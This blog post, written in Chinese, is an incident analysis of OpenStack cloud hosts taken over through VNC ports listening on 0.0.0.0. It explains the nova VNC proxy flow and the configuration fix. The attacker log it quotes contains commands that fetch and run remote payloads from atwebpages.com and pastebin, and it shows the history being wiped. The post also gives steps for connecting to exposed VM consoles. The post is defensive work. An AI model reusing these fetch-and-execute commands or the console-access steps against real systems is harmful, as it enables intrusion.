一: 问题定位
现象:
近期发现有几台 openstack 云主机被修改密码并被肉鸡
黑客操作日志:
- 18-02-01 22:41:26 ##### root tty1 22:41 #### 2018-02-01 22:41:13 top
- 18-02-01 22:41:26 ##### root tty1 22:41 #### 2018-02-01 22:41:26 clear
- 18-02-01 22:41:33 ##### root tty1 22:41 #### 2018-02-01 22:41:33 nvidia-smi
- 18-02-01 22:41:42 ##### root tty1 22:41 #### 2018-02-01 22:41:42 cd /opt
- 18-02-01 22:41:42 ##### root tty1 22:41 #### 2018-02-01 22:41:42 ls
- 18-02-01 22:41:45 ##### root tty1 22:41 #### 2018-02-01 22:41:45 ls -a
- 18-02-01 22:42:09 ##### root tty1 22:41 #### 2018-02-01 22:41:58 curl 666y.atwebpages.com/yamit.txt -o yamit && chmod +x yamit &&./yamit
- 18-02-01 22:42:12 ##### root tty1 22:41 #### 2018-02-01 22:42:12 ls
- 18-02-01 22:42:20 ##### root tty1 22:41 #### 2018-02-01 22:42:20 cat yamit
- 18-02-01 22:42:29 ##### root tty1 22:41 #### 2018-02-01 22:42:29 histoy -c
- 18-02-01 22:42:31 ##### root tty1 22:41 ####
- 18-02-01 22:42:33 ##### root tty1 22:41 #### 2018-02-01 22:42:33 rm -rf yamit
- 18-02-01 22:42:40 ##### root tty1 22:41 #### 2018-02-01 22:42:35 top
- 18-02-01 22:42:40 ##### root tty1 22:41 #### 2018-02-01 22:42:40 ear
- 18-02-01 22:42:42 ##### root tty1 22:41 ####
- 18-02-01 22:43:09 ##### root tty1 22:43 #### 2018-02-01 22:42:45 exit
- 18-02-01 22:43:11 ##### root tty1 22:43 #### 2018-02-01 22:43:11 clear
- 18-02-03 03:56:25 ##### root tty1 03:56 #### 2018-02-01 22:43:12 exit
- 18-02-03 03:56:28 ##### root tty1 03:56 #### 2018-02-03 03:56:28 ifconfig
- 18-02-03 03:56:44 ##### root tty1 03:56 #### 2018-02-03 03:56:42 ping ya.ru
- 18-02-03 03:57:01 ##### root tty1 03:56 #### 2018-02-03 03:57:00 wget https://pastebin.com/raw/BZk9zRE2
- 18-02-03 03:57:04 ##### root tty1 03:56 #### 2018-02-03 03:57:04 bash B
- 18-02-03 03:57:31 ##### root tty1 03:56 #### 2018-02-03 03:57:06 bash BZk9zRE2
- 18-02-03 03:57:38 ##### root tty1 03:56 #### 2018-02-03 03:57:38 rm BZk9zRE2
- 18-02-03 03:57:42 ##### root tty1 03:56 #### 2018-02-03 03:57:42 history =c
登陆方式不是通过暴力破解的方式进行登陆此机器, 同时看日志看到登陆前有重启虚拟机的行为
根据重启日志, 应该是黑客通过某种方式重启 OpenStack 中的虚拟机, 目前有以下几种方式
1. 有权限登陆 OpenStack 物理机, 在物理机上操作虚拟机[排除 -- 根据操作日志]
2. 有权限登陆 OpenStack dashboard, 然后界面上 VNC 操作虚拟机[排除 -- 根据 web 界面重启日志]
3. 使用 VNC 客户端直接操作 OpenStack 中的虚拟机
根据以上方法, 确认是以 VNC 客户端直接操作 OpenStack 中的虚拟机导致
二: 处理方法
2.1VNC
VNC (Virtual Network Computer) 是虚拟网络计算机的缩写
2 .2 用 VNC 客户端查看 openstack 创建的虚拟机
在云计算的环境中, 实际上更多的时候是使用 VNC 工具去查看云系统中的 VM 以下记录如何查看的方法:
计算节点查看虚拟机的 ID(libvird 的, 非 instanc_id)
- [root@compute1 ~]# virsh list --all
- Id Name State
- ----------------------------------------------------
- 51 instance-000000b7 running
- 63 instance-000000d3 running
- 64 instance-000000de running############# 比如这台
- - instance-000000ac shut off
- - instance-000000b2 shut off
- - instance-000000b3 shut off
- - instance-000000bb shut off
找到需要连接的虚拟机的 ID 号, 查看其中暴露的端口:
- [root@compute1 ~]# virsh vncdisplay 64
- :1
然后在 VNC 查看工具中输入相关连接:
在 VNC 客户端上输入对应的计算节点 IP: 1
点击 Connect 后就可以连接上 openstack 创建的虚拟机
备注以上采用的方法, 实际是直接连接的底层的 libvirt, 本质上和上层的 openstack 无太大关系, 因此也可以用于其它平台
2.3 查看外网可以连接的实例
root 权限登陆计算节点后
#netstat - tanp | grep kvm | grep LISTEN
输出的内容中, 监听地址为 0.0.0.0 的, 都可以外网直接访问此实例
3 OpenStack 中 VNC 分析
3.1 VNC Proxy 的功能
将公网 (public network) 和私网 (private network) 隔离
VNC client 运行在公网上, VNCServer 运行在私网上, VNC Proxy 作为中间的桥梁将二者连接起来
VNC Proxy 通过 token 对 VNC Client 进行验证
VNC Proxy 不仅仅使得私网的访问更加安全, 而且将具体的 VNC Server 的实现分离, 可以支持不同 Hypervisor 的 VNC Server 但不影响用户体验
3.2 VNC Proxy 的运行过程
(01) 一个用户试图从浏览器里面打开连接到虚拟机的 VNC Client
(02) 浏览器向 nova-api 发送请求, 要求返回访问 vnc 的 url
(03) nova-api 调用 nova-compute 的 get vnc console 方法, 要求返回连接 VNC 的信息
(04) nova-compute 调用 libvirt 的 get vnc console 函数
(05) libvirt 会通过解析虚拟机运行的 /etc/libvirt/qemu/instance-0000000c.xml 文件来获得 VNC Server 的信息
(06) libvirt 将 host, port 等信息以 json 格式返回给 nova-compute
(07) nova-compute 会随机生成一个 UUID 作为 Token
(08) nova-compute 将 libvirt 返回的信息以及配置文件中的信息综合成 connect_info 返回给 nova-api
(09) nova-api 会调用 nova-consoleauth 的 authorize_console 函数
(10) nova-consoleauth 会将 instance > token, token > connect_info 的信息 cache 起来
(11) nova-api 将 connect_info 中的 access url 信息返回给浏览器: http://172.24.1.1:6080/vnc_auto.html?token=7efaee3f-eada-4731-a87c-e173cbd25e98&title=helloworld(9169fdb2-5b74-46b1-9803-60d2926bd97c)
(12) 浏览器会试图打开这个链接
(13) 这个链接会将请求发送给 nova-novncproxy
(14) nova-novncproxy 调用 nova-consoleauth 的 check_token 函数
(15) nova-consoleauth 验证了这个 token, 将这个 instance 对应的 connect_info 返回给 nova-novncproxy
(16) nova-novncproxy 通过 connect_info 中的 host, port 等信息, 连接 compute 节点上的 VNC Server, 从而开始了 proxy 的工作
3.3 NOVA 中 VNC 相关配置
vnc_enabled=True 启用虚拟机的 VNC 功能
vncserver_listen=0.0.0.0
127.0.0.1(默认), 即只可以从本机进行访问, 缺点是浏览器 VNC 访问实例也会失败
管理网的 IP 地址
0.0.0.0 主要是考虑到动态迁移时, 目的宿主机没有相应的 IP 地址, 动态迁移会失败
vncserver_proxyclient_address 该地址指明 vnc proxy 应该通过那个 IP 地址来连接 vncserver, 通常是管理网 IP 地址
novncproxy_base_url=http://SERVICEHOST:6080/vncauto.html 指定浏览器 client 应该连接的地址
如果 OpenStack 平台架设在公网上, 则 vncserver_listen 需要配置为管理网的 IP 地址, 否则设置为 0.0.0.0 就会使得外网用户可以直接访问虚拟机, 非常危险
3.4 重新设置监听地址后老实例的处理方法
计算几点重新设置监听地址后(如从 0.0.0.0, 修改为计算节点管理网段的 IP), 老的实例的对外的 VNC 仍然是 0.0.0.0
那是因为
/etc/libvirt / qemu / instance - 000000xx.xml
中配置的监听地址没有变化
可以通过硬重启实例使之 (老实例) 生效
来源: https://www.cnblogs.com/yaohong/p/8417639.html